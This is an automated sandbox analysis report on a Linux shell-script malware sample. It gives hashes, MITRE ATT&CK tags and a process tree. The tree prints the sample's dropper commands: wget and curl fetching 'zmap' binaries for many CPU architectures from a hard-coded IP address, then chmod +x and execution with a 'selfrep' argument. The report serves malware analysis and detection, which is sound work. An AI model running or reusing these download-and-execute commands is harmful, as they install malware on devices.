1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003

Analysis

max time kernel
29s
max time network
34s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
16/11/2024, 02:12

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General

Target
1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh
Size 2KB
Sample241116-cm66ws1raq
SHA256 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003
MD5 290a935087585258899b10d49e37f01f
SHA1 2e21085c93b65dd0539d9d8fe480f2ed22461bb6
SHA512 7945750054f79261fe88d2f83c3baf46d4d13686f03ba085a3577d1b0c48f1ff026bb3411e0a4ff21a76d437e754820693b20b2876f77b376b4930d99dc772ce
MD5 SHA1 SHA512

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
758	chmod
667	chmod
701	chmod
711	chmod
736	chmod
746	chmod
768	chmod
784	chmod
798	chmod
681	chmod
689	chmod
695	chmod
725	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/WTH	669	WTH
/tmp/WTH	682	WTH
/tmp/WTH	690	WTH
/tmp/WTH	696	WTH
/tmp/WTH	702	WTH
/tmp/WTH	712	WTH
/tmp/WTH	726	WTH
/tmp/WTH	737	WTH
/tmp/WTH	748	WTH
/tmp/WTH	759	WTH
/tmp/WTH	771	WTH
/tmp/WTH	786	WTH
/tmp/WTH	799	WTH

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
679	cat
673	wget
675	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WTH	1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh

/tmp/1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh
/tmp/1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh
1⤵
- Writes file to tmp directory
PID:646
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.x86
  2⤵
  PID:651
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:656
- /bin/cat
  cat zmap.x86
  2⤵
  PID:664
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:667
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:669
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:673
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:675
- /bin/cat
  cat zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:679
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:682
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.mpsl
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:686
- /bin/cat
  cat zmap.mpsl
  2⤵
  PID:688
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:690
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.arm
  2⤵
  PID:692
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:693
- /bin/cat
  cat zmap.arm
  2⤵
  PID:694
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:696
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.arm5
  2⤵
  PID:698
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:699
- /bin/cat
  cat zmap.arm5
  2⤵
  PID:700
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:702
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.arm6
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:707
- /bin/cat
  cat zmap.arm6
  2⤵
  PID:710
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:711
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:712
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.arm7
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:718
- /bin/cat
  cat zmap.arm7
  2⤵
  PID:723
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:726
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.ppc
  2⤵
  PID:728
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:731
- /bin/cat
  cat zmap.ppc
  2⤵
  PID:734
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:737
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.m68k
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:742
- /bin/cat
  cat zmap.m68k
  2⤵
  PID:744
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:748
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.spc
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:753
- /bin/cat
  cat zmap.spc
  2⤵
  PID:756
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:759
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.i686
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:765
- /bin/cat
  cat zmap.i686
  2⤵
  PID:767
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:771
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.sh4
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:777
- /bin/cat
  cat zmap.sh4
  2⤵
  PID:782
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh systemd-private-3e34c1a6cb7141d78b470c83939659a5-systemd-timedated.service-LvlG2i WTH
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:786
- /usr/bin/wget
  wget http://154.216.16.71:85/zmap.arc
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://154.216.16.71:85/zmap.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:791
- /bin/cat
  cat zmap.arc
  2⤵
  PID:797
- /bin/chmod
  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Executes dropped EXE
  PID:799

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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